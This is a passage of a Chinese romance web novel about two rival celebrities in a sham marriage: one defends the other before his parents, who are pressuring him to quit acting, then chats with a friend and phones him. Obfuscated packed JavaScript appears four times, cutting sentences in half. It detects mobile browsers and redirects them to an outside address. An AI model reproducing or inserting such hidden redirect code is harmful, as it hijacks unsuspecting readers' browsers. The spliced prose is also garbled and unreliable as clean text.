卫向明还没来得及说出口的话被突然闯入的人惊得直接咽回了肚子里,刚要喊服务员赶人,却见来人拉下口罩,露出了一张夺目又张扬的脸。 易淮江背对着门口,刚转过头,便听见易文君惊讶道:“听舟?你怎么在这?” 易淮江扭头的动作倏地顿住,又在下一秒抬眸,隔空对上了那双熟悉的琉璃眼。 顾听舟没搭理他,上前迈了两步,刚好抬手按在他椅背上,紧接着抬了抬帽檐露出整张脸,向易文君点了点头:“文姨。” 然后才看向卫向明:“卫叔。” “工作室临时出了点事,没来得及接你们下飞机,一路应该还顺利吧。”顾听舟仿佛真的只是路过,语气轻松地和他们闲聊,“今年怎么这个时候就回来了,这才四月份吧。” 易文君被他问得愣了愣,看了眼自家儿子,见他不说话,便有些拿不准地开了口:“你卫叔叔有点事想当面和淮江谈谈,今年也不像之前那么忙,我们就抽空回来一趟。” 顾听舟也算是他们从小看着长大的孩子,虽然骄纵了些,但自小聪明可爱,又喜欢撒娇,此刻带着笑和他们打招呼闲聊,又有易淮江寡言少语的冷脸从旁对比,两位长辈脸色都舒缓了不少,气氛也轻快许多,仿佛真的只是普通的见面聊家常。 顾听舟听得在心底直皱眉。 什么大事非得回国当面才能说? 如果不是他听了全程,他还真以为面前这两位长辈是因为他们结婚的事才临时赶回来的。 可冷静下来想想,风投的工作哪有那么简单就能抽出假离开的?只是因为易淮江那份所谓的对赌协议只剩最后一年就要到期,他们提前做好了安排空出时间回国施压。 不然,起码也要到七月份才可能抽出空。 眼神没忍住闪了闪,落在了易淮江身上,恰好瞥见易淮江准备起身的动作,顾听舟忍不住在心底啧了声,先一步抬起手,直接按住了他的肩。 “这样啊。” 顾听舟若有所思地点了点头,转过脸看向卫向明:“卫叔不用担心,我就是刚好路过,看您一个人念得挺无聊,进来陪几句。” “易淮江没来清大而是去了华戏,我确实也觉得挺遗憾。毕竟上了大学之后,一年也就过年才见一面,想吵架都没空。” 顾听舟脸上的笑意忽然淡了下来,嘴角那抹浅浅的弧度含着几分嘲弄:“我觉得您肯定能懂我的感觉。” “毕竟易淮江从搬到我家隔壁起,您和文姨也是天天在外面飞,甚至连过年都不一定能见上一面,连年夜饭都是在我家吃的。” 易淮江讶异地抬头,顾听舟忙着措辞,既要能怼人还得不会被祝女士事后教训没礼貌,忙得压根没空搭理他,抬了抬按在他肩上的右手,把那张脸又扳了回去。 看你大爷。 他看似是在惋惜,可句句扎在两位长辈的心上,卫向明的脸色顿时变得悻悻:“听舟,淮江和你不一样……演员终究不是正经职业,做不长久的。你有你妈妈的公司不用担心这些,我和你文姨没那么厉害,只能替他做点规划。” “是吗?”顾听舟弯了弯眼睛,笑意却不达眼底,“有什么不一样,我不也是明星吗?” “易淮江不仅比我多了好几座奖杯,还是目前为止最年轻的双金影帝,不出意外明年还能晋升三金,有什么不正经的?” 卫向明这才后知后觉地想起来顾听舟虽然按照家里的意思去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943328|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清大,却也在毕业后进了娱乐圈当,于是脸上仅剩的几分笑意也缓缓消散。 “文姨,你们不在国内,我和易淮江已经和我爸妈解释过了,结婚的事确实是我们有错在先,一时冲动没来得及和你们商量,但这么多年,我和他吵架归吵架,我爸妈对他还是很不错的,我甚至敢说他从没在我家受过委屈。” “今天我没来得及赶上接机,但怎么说这顿饭也是易淮江结婚后你们一家人的第一顿饭,卫叔句句都在指责易淮江,表面上是说他对自己不负责,实际上其实是对我不满意吧?毕竟和易淮江结婚的是我,和易淮江一样进娱乐圈当明星的也是我。” 易文君扶了扶眼镜,有些急迫的站了起来:“初初,我们没有那个意思,你卫叔他……” 顾听舟朝她笑了笑:“文姨你先别急,坐下我们慢慢说。” 易文君犹豫了会,重新在座位上坐了下来。 顾听舟这才继续道:“我和易淮江是小辈,有些话当直说确实不太好,但文姨和我妈关系一向要好,我和易淮江现在也是法律认证的婚姻关系,我就不拐弯抹角了。” “卫叔或许是在国外待了太久,国内也没什么亲戚朋友往来,以至于对国内的传统习俗意识淡薄了不少。但我们两家人住得近,该顾及的体面总是要顾及到的,过年的时候是,现在也是,不然天长日久,再好的关系也总是会有被影响的一天。” 扫了眼卫向明发绿的脸色,顾听舟略微收起点咄咄逼人的气势,朝易文君乖巧地笑了笑:“我知道文姨和卫叔的用意总归是好的,毕竟易淮江是你们的亲生儿子。” “但是,你们想让他跟着你们出国学习风投,他如果真的答应了,你们有没有想过我该怎么办,留在华国当鳏夫?” 随着顾听舟话风突地一转,易文君原先紧皱着眉毛也松开了些,可紧接着就被这个问题给问住了。 顾听舟没给他们思考的时间,紧接着道:“卫叔也说了,我家还有祝女士的公司等着我继承,我不可能像你们那时候一样抛下这里的一切说出国就出国,几年也不回来一趟。” 父母和孩子是不同的个体,意见有分歧是很正常的事情,哪怕是祝女士,当初也是不赞成他进娱乐圈当明星的。 但哪怕不赞成,祝女士也只是不允许他对外打着她和公司的名头招摇,仅仅是断掉了家里给他的帮助而已。可易淮江家里不仅不帮忙,还和他签了对赌协议,非要逼迫一个成年人去做他不愿意做的事情。 就算他再讨厌易淮江,也不可能在明明已经听到了这些事后还能若无其事地转身离开。 顾听舟撩起眼皮看向卫向明,明明脸上还带着浅笑,可问出的每一个字,都在无形中把两位长辈逼得退无可退:“卫叔这么急着回来想带易淮江走,就算你不考虑自己亲儿子的感受,那你考虑过我吗?考虑过我妈和文姨的感情吗?” 说完,顾听舟松开了手,易淮江也离开了位置站到了他身边,顾听舟瞥了眼桌上的菜色,此刻却只觉得倒胃口。 顾听舟干脆伸手拽住了他,朝桌前的两人点了点头:“这顿饭我已经付过账了,算是我和易淮江的一点心意。中午还有工作,他我就先带走了,文姨再见,卫叔慢慢吃。” 39.手撕鸳鸯 包间里闷得人心烦,顾听舟拽着人埋头往外走了好一阵,才终于在某个没人的拐角处停下了脚步。 顾听舟抿着唇,刚才那一顿输出已经把他脑子里烧着的那团火散得差不多了,此刻一时也想不到能说些什么。 骂人? 可易淮江才是被欺负的那个,从机场一路到这,不知道能被他爸念叨多久,他要是再开口骂,显得他好像很不近人情似的。 至于安慰……顾听舟掀起眼皮瞟了眼某个从他出现起就一直一言不发的人,没等他收回视线,易淮江的视线先一步和他撞上。 易淮江看着他飘忽不定的视线,眼底情绪闪烁:“你怎么在这?” 顾听舟:“路过。” 就算顾听舟下午真的有工作安排要赶航班,也没可能路过到他们包房门口,这理由找得简直是明明白白的敷衍。 易淮江沉默了一瞬:“其实……” 他像是想说什么,可话到了嘴边,又咽了回去,顾听舟睨他一眼:“你要是敢让我回去道歉,我现在就带你去民政局。” 易淮江:“……我没想说这个。” 顾听舟不解地看他:“那你犹犹豫豫半天到底是想说什么?” 易淮江望着那双满是迷惑的眼睛,原本想说的话在嘴边顿了许久,临出口时却忽然拐了个弯:“你不是讨厌我吗?” 顾听舟:“……” 顾听舟被他这冷不丁的一句问得简直匪夷所思:“我讨厌你,和我是个智商超过130的正常人类有什么关系么?” 这人确实该去医院看看了。 顾听舟没忍住翻了个白眼:“我讨厌你就非得跟别人一块儿踩你欺负你,这样你就乐意了是吧?” 易淮江:“……不是。” “你爱是不是。”顾听舟嘁了声,垂眸看了眼自己还抓着某人的手,这才想起来松开,“我良心大发除危济困,路见不平拔刀相助,和你有屁关系。” 易淮江却反手抓住了他。 易淮江的体温一向偏低,从指尖到掌心都是一片冰凉,握住他的时候,宽大的手掌直接拢住了他整个手腕,像是凝成了实体的冰水骤然覆上来,凉得顾听舟忍不住垂了垂眼。 沉默了数秒,易淮江才终于低声开口:“……谢谢。” 顾听舟心里才升起的一点不爽在听见这句百年难得一见的“谢谢”后,瞬间消散无踪,耳根却莫名其妙地开始发烫。 顾听舟抿了抿唇,试图摆脱这股忽然怪异起来的氛围,于是动了动被他抓着的手腕,略显生硬转移了话题:“走了,我还赶着回家收拾东西。” * 回到易淮江家里,顾听舟打开了他之前带来的两个大行李箱,分门别类地把自己的东西收起来、 他手上动作没停,余光却总忍不住往门口那道身影上瞟。 这人既不走,也不进卧室,站在那儿跟个雕塑一样不吭声,是打算改行当门神吗? 顾听舟默默腹诽,易淮江却像是能听见他心声似的,忽然开口叫他。 顾听舟敷衍地应了声,见他叫完又不说话,这才抬眼朝门口看过去。 卧室里开着窗,两侧的窗帘都被打开,照得房间里格外亮堂。也许是因为门口处的光线刚好被挡住,易淮江垂眸看向他时,他却有些看不清他眼底的神色。 易淮江问他:“你今天这么说,有没有想过离婚了之后怎么办?” 顾听舟以为他是担心不好和家长们交代,理直气壮道:“本来我就三分钟热度,是你爸妈不知道还是我爸妈不知道?到时候就说不喜欢了不想谈了,随便扯几句敷衍过去不就好了。” 易淮江没说话。 顾听舟也没催他,反正按现在的情况看,他们起码还要把那档婚综上完,再加上易淮江争取电影剧本的时间,反正距离他俩达成要求顺利离婚还早得很。 “……”易淮江看他蹲久了干脆在地板上坐了下来,想了想还是没说什么,可过了一会又忍不住开口,“不问我点什么?” 顾听舟再次从一行李箱的衣服玩偶里抬头看他,想了想后道:“本来想问,但想想又觉得没必要。” “合同都签了,你有你的原因,我有我的原因,桥归桥路归路,知道太多没好处。” 易淮江扯了扯嘴角:“公平起见,反正你本来就已经知道的差不多了。” 易淮江如实道:“我和我爸签了对赌协议,明年7月份之前要拿齐三座最具含金量的最佳男主角奖,如果做不到,我就退圈改行,如果成功,他们就不管我。” 顾听舟哦了一声,然后问他:“你有把握吗?”他没拍过电影,对电影圈的奖项也不太了解,但想了想易淮江早已经拿到的另外两座奖杯,觉得其实情况应该也还算乐观。 易淮江看着他:“想听实话?” “废话。”顾听舟翻了个白眼。 易淮江顿了顿:“我也不知道。” 最开始,他也以为自己可以。毕竟另外两座奖杯他几乎是毫不费力地收入了囊中,他以为金木奖也会是一样,却没想到尝试了几次都仅仅只有提名,无缘奖杯。 而他的容错空间又太小,小到只剩下明年的最后一次机会。不管他有没有信心成功夺奖,这个剧本他也必须拿下。 他性子冷淡,本就不是情绪外放的性格,可他有演技,有颜值,公司和团队不会放过捧出一个影帝的机会,所以一直以来,他接的剧本都是现实题材风格,尽最大的可能规避掉了他在感情戏方面的短板。 他一直不确定自己能否在开始拍摄前演绎出夏导想要的感觉,可是现在,看着面前那道身影,他却又好像隐约碰到了一点什么。 “你竟然也有不确定的时候。”顾听舟忍不住啧声,“这话从你嘴里说出来就显得特别违和。” 顾听舟想了想,还是又补充了一句:“反正我们现在已经是一条船上的了,要是有什么我能帮的……我可以考虑考虑。剩下的就只能靠你自己了。” 话说到一半才想起自己和面前这人的关系似乎还没好到那个份上,顾听舟硬生生拐了个弯,但话里的意思终究是大差不差。 易淮江倚着墙,垂眸时目光深邃,落在他轻轻晃动着的两枚耳环上,许久才撇开了视线,低低地“嗯”了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952080|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声。 * “所以他爸妈现在已经在华国了?你们已经见过面了?他们什么态度,你俩不会没等合同到期就先被他爸妈手撕鸳鸯了吧?” 连珠炮似的问题一个接一个地往外蹦,顾听舟窝在自己许久不见的懒人沙发里,心情颇好地把地上的行李箱又拖过来了点:“我只知道手撕鸡和手撕包菜,手撕鸳鸯是个什么菜色?” “你就装吧你。”姜卓随手把笔丢在了桌上,“他爸妈又不知道你俩是假结婚,在他们眼里,你俩可不就是一对鸳鸯?” 姜卓眼里的八卦之火熊熊燃烧:“快说快说,不然我今晚就顺着网线爬到你家去严刑逼供。” 顾听舟无奈:“算是见了个家长,就是过程不太愉快,嗯……结尾好像也不怎么样。” 姜卓疑惑:“什么叫不怎么样,他爸妈不喜欢你?给你脸色看了?” “那倒不是。”顾听舟措辞了一番,“非要算的话,应该是我给他们脸色看了。” 姜卓:“?!!” 姜卓大为震撼:“舟舟,你确定我们说的是同一件事吗?你和易淮江去见易淮江的爸妈,然后你给他们脸色看?”他倒抽了一口凉气,一直知道自己发小拽天拽地,没想到结了婚之后经历变得更玄幻了,姜卓犹豫了一会儿,弱弱问,“他爸妈没意见么……?” 顾听舟忙着把行李箱里塞得满满当当的玩偶取出来摆在地毯和矮柜上,一手举着手机,一手拿着玩偶忙碌:“我和文姨他们又不是第一次见,怎么说他们也是从小看着我长大的。” 姜卓点点头:“对哦。” 顾听舟道:“不过这次见面不是你想象中那种见家长,本来我和易淮江也不是真情侣。” “他爸妈对他当演员的事一直不满意,这次回来也是想逼他退圈出国。”顾听舟从行李箱里随手拿起一只橘红色的小柿子,捏在手里便玩边解释,“我本来没想去,后来想想,我去见祝女士和老顾的时候他也陪我去了,那他爸妈回来我也不好让他一个人挨骂,干脆也跟着去了。” 姜卓:“然后呢?” 顾听舟摊手:“他一个人去接的他爸妈,我刚好知道他们要在哪吃午饭,就去了他们隔壁偷听。然后我就发现他爸妈回来,重点其实根本不在我们结婚的事上。” “文姨还好,他爸才是最过分的那个……” 说到易淮江他爸,顾听舟的声音忽然顿了顿。 姜卓听得抓心挠肝,见他停下,忍不住追问:“你倒是快说啊!” 顾听舟咳了两声,把手里的小柿子放在了矮柜上:“反正简单来说,就是他爸妈从一开始不支持他当演员,但演员是易淮江喜欢的职业,两边有冲突,他爸妈不仅不支持,还一直在给他使绊子……” 姜卓作为他的发小,对这两人的相处模式早已经了如指掌,听他说到这,不知道怎么的忽然陷入了沉默。 顾听舟刚好趁机换了口气,却没想到姜卓在一阵沉默过后忽然幽幽开了口:“然后你就冲进去给他出头了?” 顾听舟:“???” 顾听舟忍不住惊讶:“你怎么知道?” 40.恋爱而已 “呵。”姜卓冷艳一笑,“你问我?你还好意思问我?” 顾听舟在行李箱前盘腿坐下:“我怎么就不好意思问了。” 姜卓:“我还不知道你!你问这话之前要不先想想你自己都干过些什么事儿呢。” 顾听舟尝试回忆,但并没有什么印象:“我和易淮江明明一直是纯粹且清白的死对头关系,是什么给了你这种离谱的错觉?” 姜卓冷笑一声:“小学的时候,易淮江被他们班同学嘲笑有爹妈生没爹妈养,你前脚刚和我放完狠话,说这辈子最讨厌易淮江这种卷死人的隔壁家小孩,后脚就挺身而出把那几个人揍了一顿,你的校霸名头也是从那个时候一路流传开的,你和我说你不记得了?” 顾听舟还在行李箱里翻东西,闻言也停下了手上的动作:“还有这事儿?” “我只记得我在厕所里顺脚踹了几个嘴巴脏得不行的小屁孩。”他有些怀疑人生,“你确定是因为易淮江,我怎么一点印象都没有?” “我确定一定以及肯定。”姜卓无语,“那个学期开学考我不小心考砸了,结果他成绩太好被老师拿来当标杆,开完家长会之后我妈越看我越看不顺眼。从那个学期开始,除了绘画班,我每天晚上还要和专门的家教补习英语和数学!” 顾听舟:“……”那确实很惨了。 姜卓的成绩算不上好,再加上他家里还有个比他打很多的亲哥,不论是读书还是工作都格外出众,优秀到不行,对比之下就更显得他这个弟弟资质平庸。于是姜妈妈一改原先的散养模式,在姜卓小学时开始猛抓学习。 但效果倒是也可见一斑。姜卓刚到国外留学时还和他感慨过幸好他妈当初给他请了外教从小培养。 见电话另一头陷入沉默,姜卓猜到这人估计根本没想起来,于是又翻了个时间线更近的例子:“小学的事你不记得了,高中总记得吧?” 易淮江比他们大一岁,他们读高二的时候,易淮江已经是高三生。就在他们读高二下半学期的时候,易淮江莫名其妙请了两个月的长假,对外说是竞赛集训,结果两个月后,易淮江却什么奖杯和奖状都没有拿回来。 他请假离开学校的时候,高三那帮人就已经在背地里讨论开了。毕竟能让易淮江去参加的竞赛,又显而易见肯定不是什么低档次的比赛。更何况还要花两个月的时间集训,对于当时已经开始第三轮总复习的高三生来说,缺席一天都可能跟不上进度,易淮江却一走就走两个月,还会因此错过的一模和好几次大小月考。 有人羡慕他一离校就是两个月,也有人嫉妒他凭什么能在没有其他人得到一点消息的情况下直接内定去参赛。一群人打听了一圈,却怎么也没打听到符合要求的竞赛项目,于是不少人趁机开始造谣。 “就是他刚回来那周,咱俩刚下体育课,从学校小超市回教学楼,结果正好撞见了几个高三的,说他装逼失败,上了高三跟不上进度心态炸裂,所以才请了两个月的假躲考。” “几个人七嘴八舌说了一堆,我也记不太清了,反正后来越说越过分,还说他是干了什么违法犯罪的事被拘留了才不得不请假遮掩……” 姜卓道:“然后,你,一个从入学开始就和学生会会长易某某闹不和闹得人尽皆知的校霸,又顺手惩奸除恶了。” 顾听舟当时在学校里和易淮江简直是两大风云人物。两人虽然不是同届,但从顾听舟入学起,两人就结了梁子。 顾听舟作为成绩断层第一的优秀新生代表,却开学第二天早上被易淮江在校门口抓到夜不归宿,先是在早会上以违反校规为由念了一千字的检讨,然后反手掏出了另一份稿子,在开学大典上代表全体新生发言。 每一届总有那么几个刺头,也总有那么几个长得特别好看的。 但既刺头还长得好看,成绩又好脸皮又够厚的顾听舟,却实在是前无古人后无来者。于是刚一入学就闻名全校,顺便还和易淮江的名字绑定在了一块,人人皆知他俩有深仇大恨。 和顾听舟不仅同校同班还同桌,见证了这俩人互相找茬n年的姜卓当时也以为顾听舟会当没听见。结果却是顾听舟直接当面开嘲讽,嘲笑那群人吃不到葡萄说葡萄酸,自己没本事还有空在这造谣诽谤。 姜卓默默抹了一把辛酸泪:“你和易淮江简直是两个妖怪,要不是你俩从小关系就差得离谱,我都要怀疑你俩是亲兄弟了。不仅成绩都一样好得离谱,连嘴也是一个比一个刻薄。” “虽然我也考不到你那个逆天的分数,但反正单论怼人的话,你当时怼得很爽就是了。” 顾听舟:“……” 这个他还真记得。 主要是他和易淮江就住隔壁,两人连房间都只隔了一堵墙,两边的阳台中间就拦了个还没他腿长的栏杆,读的同一所学校,成绩又几乎不相上下,如果学校有竞赛,在易淮江比他早一年入校,手里的竞赛证书比他多,还马上就要高考的情况下,怎么说这种大型竞赛也应该是他上,就算不是他,他也不可能一点消息都不知道。 所以在易淮江请假当晚,顾听舟就从阳台翻过去堵人了。 他会走这一趟纯粹是怕祝女士担心她干儿子,但让他意外的事,易淮江竟然直接承认了自己是要去参加艺考。顾听舟大为震撼,但两人毕竟关系不好,只顺便问了他两句文姨和卫叔的态度后,便没再多话。 也是从那个时候起,他误以为易淮江是不想顺从爸妈的安排,所以才偷偷参加了艺考,又在考上市状元后毅然决然地去了华戏。 被姜卓这么一提,顾听舟也终于想起来了自己之前的所作所为,没忍住摸了摸鼻尖:“这么看,我好像还真干过不少次……” “习惯了。”姜卓见他终于承认,总算扬眉吐气了一番,“你俩的恩怨情仇我已经习惯当故事听了。你看你俩结婚的消息传到Y国,我甚至都没有打飞的回去找你。” 顾听舟锤了锤自己坐得有些发麻的小腿,继续坐回行李箱前收拾东西:“那我是不是还得谢谢你。” 姜卓应得顺口:“爱卿平身。” 顾听舟:“……” 顾听舟把越跑越偏的话题拽了回来:“这次不一样。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16952081|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 姜卓点头:“嗯嗯嗯,他这次是真心的……” 顾听舟:“?” 顾听舟满头黑线:“姜大设计师,你回答问题之前能不能先审审题,我和易淮江是那种关系吗你就乱套公式。” “可以是吧……”姜卓思考了两秒,“你俩连婚都结了,再谈个恋爱而已,也不是不可能啊。” 顾听舟:“……之前是因为我妈,文姨不在,易淮江等于她半个儿子,他要是出什么事,我妈肯定要上火,所以当时才会顺手帮了几把。” “但这次不一样。”顾听舟顿了顿,“这次纯粹是我觉得他还……挺惨的。” 姜卓挑了挑眉:“你可怜他啊?” “我只是觉得他有自己的梦想挺好的,而且本来他做演员也没影响任何人,不应该为了他爸妈的意愿让他放弃自己。” 说话间,顾听舟已经把两个行李箱整理得差不多了,两个开了口的行李箱摊开在地上,箱子里只剩下几件常服,顾听舟想起了什么似的,把几件衣服轮流掀了一遍,又站起来在房间里找了一圈。 不对,他葫芦呢? 姜卓听得直摇头:“祖宗,你还记得你和易淮江是什么关系吗?是谁当初信誓旦旦说自己迟早要和易淮江离婚的?” “我又没说不离。”顾听舟站在沙发前环视四周,确认真的没有那只葫芦玩偶的身影后,这才对着手机道,“哦对,忘了和你说,我和易淮江暂时和解了,虽然以后也不一定能当朋友,但目前勉强能算得上是同盟。” “啧啧啧,同盟。”姜卓意味深长。 “你这语气……”顾听舟只当他是对于自己帮易淮江的选择有意见,好笑道,“如果是你爸妈因为你当初学设计的事找你麻烦,我绝对也会挺身而出的好吗。只不过你有你哥陪你里应外合,又用不上我。” 说到这,顾听舟又忍不住想起易淮江。 姜卓那时哪怕有亲哥支持,也还是忍不住害怕,跟他哭了好几场。毕竟他们这种家庭,人生道路怎么走很多时候不是随随便便就能自己选择的,姜卓哪怕有他大哥,也因为不好意思打扰他哥工作,只好来找他这个剩下的唯一知情者发泄情绪。 可易淮江当时…… 顾听舟忍不住回想起了他离开前,易淮江比以往更沉默的模样。 他会不会也有那么一瞬是承受不住这份压力的? 心不在焉地挂断了和姜卓的电话,顾听舟点开微信,想发点什么,手指在键盘上悬空许久却又不知道说点什么。 想想又觉得还是算了。 说不定易淮江正在享受回归独居的幸福生活,压根不担心对赌协议的事呢?他能做的最多也就是好好和易淮江营业,争取早点让他的新电影开机,至于其他的,和他又有什么关系。 指尖在屏幕上随意滑动了几下,顾听舟没仔细看,正准备退出聊天界面,却不料手指一按,直接弹过去了一条语音通话。 而好巧不巧,易淮江就跟蹲在手机前面等着似的,语音刚拨过去,还没等他点击取消,易淮江就先一步接通了。 41.事不过三 看着手机屏幕上显示“已接通”的语音界面,顾听舟堪堪收住了自己想要按下挂断的手。 而屏幕另一头的书房里,易淮江拿着手机,顺手把桌上半晌都没翻动过的剧本推开了点:“有事?” “……”顾听舟搓了搓指尖,“打错了。” 易淮江挑了挑眉,抬手在桌角那只葫芦玩偶上弹了下:“是么,我还以为你是来交赎金的。” “赎金?什么赎金?”顾听舟有些莫名其妙,一抬眼,视线从地上那两个空荡荡的行李箱一划而过,却又在下一秒顿住,然后幽幽落了回去,“你偷我葫芦?!” 易淮江眼底划过抹笑意:“怎么就不能是它自己想留在我家?” 顾听舟:“你要不自己听听你在说什么?” 易淮江捏了捏葫芦上那只已经成型了的鸭子嘴,气定神闲道:“毕竟这本来也算是它家,它不想走也正常。” 顾听舟:“……” 你也知道自己是个锯嘴葫芦啊。 “打算什么时候过来赎它?”易淮江问,“我不一定在家。” “要不还是直接撕票吧。”顾听舟看了眼自己的行程表,明天一早的航班,接下来一周都要在剧组过,还不如放在易淮江那,“威廉也没空去,我明早的航班,他估计现在还在忙。” “明天?”易淮江微不可察地顿了顿,“你接了新戏?” 顾听舟打了个哈欠:“没有,手上的剧本没几个有意思的,我就干脆让威廉全拒了。本来这段时间我应该只有一个《恋百》要拍,剩下的就是些广告和剧宣,结果之前的一个剧组出了点问题,害得我现在还得回去补镜头。” 原先不小心摁错了语音的尴尬在不知不觉中散了,顾听舟随口抱怨了几句麻烦,后知后觉地想起自己原本的目的,话音顿了顿,再开口时,带着几分显而易见的不自在:“你和你爸妈……” 他想了想,还是把后半句话吞了回去:“反正祝女士和老顾都挺喜欢你的,以后年夜饭什么的就直接在我家吃。” 易淮江:“这些年我们基本都是在你家吃的年夜饭。” 怎么这个时候智商就跟短路了一样,顾听舟腹诽了句,没好气道:“我的意思是,以后过年直接在我家住,又不缺你一个房间,谁没事一个人大半夜在外面吹冷风。” 以前是以前,祝女士和老顾本来就喜欢这货,现在他俩关系也算好了点,反正易淮江也没地方去,还不如直接在他家过年。 易淮江:“房间?” 顾听舟无语:“不然还能让你睡沙发?” “顾听舟。”易淮江忽然叫了他一声,语气里夹杂着几分他听不太懂的情绪,“昨天是谁非要拉着我睡一张床的?” 重点是这个吗? 昨天会一起睡难道不是因为这人的家里只有一张床吗?但凡有第二张床,他怎么可能下了节目还和他一块睡。 而且等他们离婚了,怎么可能还睡同一张床。 顾听舟默了两秒:“反正就这么定了,以后你就在我家过年。”接着不等易淮江再开口,便先一步挂断了语音。 看着显示已中断的通话记录,易淮江眼里的情绪却比之前还柔和了几分。 他知道顾听舟在想什么,他们现在是假结婚,今年如果回去,面对祝姨和顾叔肯定还要演一演,但协议到明年七月份结束,明年的新年,按照原本的计划,他们已经离婚,自然不可能再住在同一个房间,躺在同一张床上。 可是…… 易淮江看着屏幕上弹出电量过低的消息提示,垂下的眼睫盖不住眼底躁动着的复杂情绪。 他猜过顾听舟可能会再联系他,可没想到他竟然真的会来。 这个人总是这样,明明嘴上说着讨厌他,处处看他不爽,一杠就是十几年,但真的撞见对自己有恶意的人或事时,却还是会像今天这样站出来维护他。 一而再,再而三。 甚至现在还会拐着弯地偷偷来关心他。 易淮江拎起桌头那只葫芦,骨节分明的手指有一下没一下地捏着玩偶蓄满了棉花的脸,触感柔软干净,要是顾听舟在这,说不定还会嘲笑他同类相残。 易淮江垂眸打量着手里的葫芦玩偶,过了好一会儿才低声道:“他好像也没那么讨厌你。” 如果可以做朋友,那是不是也代表着,他们也可以不止是朋友? * 隔天一早,在威廉的夺命连环call和他自己设置的闹钟的双重保障下,顾听舟有惊无险地赶上了早上八点的飞机。 和路过的空乘要了杯热咖啡和一张小毛毯后,顾听舟神色恹恹地缩在座位上,小口抿着又苦又烫的饮品。 威廉把他身上的毛毯盖好,看了看他眼底微青的痕迹,满脸的欲言又止。 昨晚不出意料地一直拖到凌晨四点才睡,算上起床和赶路的时间,顾听舟总共才睡了不到三个小时,脑袋昏昏沉沉。随着杯子里的咖啡缓缓减少,顾听舟的精神也终于恢复了点,瞥了眼坐在邻座的威廉:“你嘴巴抽筋了?” 威廉:“……” 威廉试探着问:“舟舟,你昨天真和易影帝的爸妈见面了?” 他这么一问,顾听舟不可避免地想起了自己在门外听见的那些话,还有易淮江身上的那份对赌合同,脸色也不自觉沉了下来:“嗯。” 威廉心里一抖:“你们……聊得怎么样?” “不怎么样。”顾听舟垂眸吹了吹依然烫嘴的咖啡,漫不经心道,“他爸妈意见挺大,我听不下去就把他拽走了。” “那合同……?” 听见“合同”两字,顾听舟这才一个激灵回了神,威廉不知道易淮江家里的事。 顾听舟望着手里的咖啡杯,氤氲的热汽从中袅袅腾起,最后缓缓消散在空气中:“没什么影响。他们在这边也待不了多久,吵一架而已,下次再回来说不定就过年了。” 虽然过年也不一定回得来。 威廉听他这么说,悬着的心这才终于放了下来,但一看他眼底浅浅的青色,又忍不住问:“你昨晚也是在他家睡的?” 顾听舟白了他一眼:“当然……” 威廉:“!” “……不是。”顾听舟扭过头,“你哪来这么多奇奇怪怪的问题?” 威廉犹犹豫豫地看他一眼。《恋爱百分百》的直播和正片他都看了,为了不被人带节奏,这些天都在网上观察风向,但江舟CP自带两位顶级流量的热度不说,比起其他CP还有已婚优势,CP粉就跟春天山里风一吹就疯长的野草一样,一个没注意就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16964799|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长了漫山遍野。 短短一周的时间,江舟CP粉几乎是呈几何倍数的趋势增长。得益于这两位正主此前无数部题材丰富的影视作品和两张放哪都亮眼的俊脸,随着直播和综艺正片的上线,CP超话里愈发热闹非凡,同人图、同人文还有各种CP向混剪层出不穷,天天有新粮,粮粮不重样。 关键是产出多,质量还高,连他看了都觉得这对CP实在是太般配了。以至于联想到顾听舟和易淮江真实的相处状态后,竟然也觉得这两人好像有点好磕。 威廉拍了拍自己的脸让自己清醒一点,这两位在出事前可是互相都避着,在镜头前连同框都没有过一张的死对头! 顾听舟匪夷所思地看他表演了半天的川剧变脸,最后又抬手往自己脸上拍了好几下,迟疑了半天,最终确认这人估计是和他一样还没睡醒,于是又要了一杯咖啡,塞到了他手里:“喝吧。” 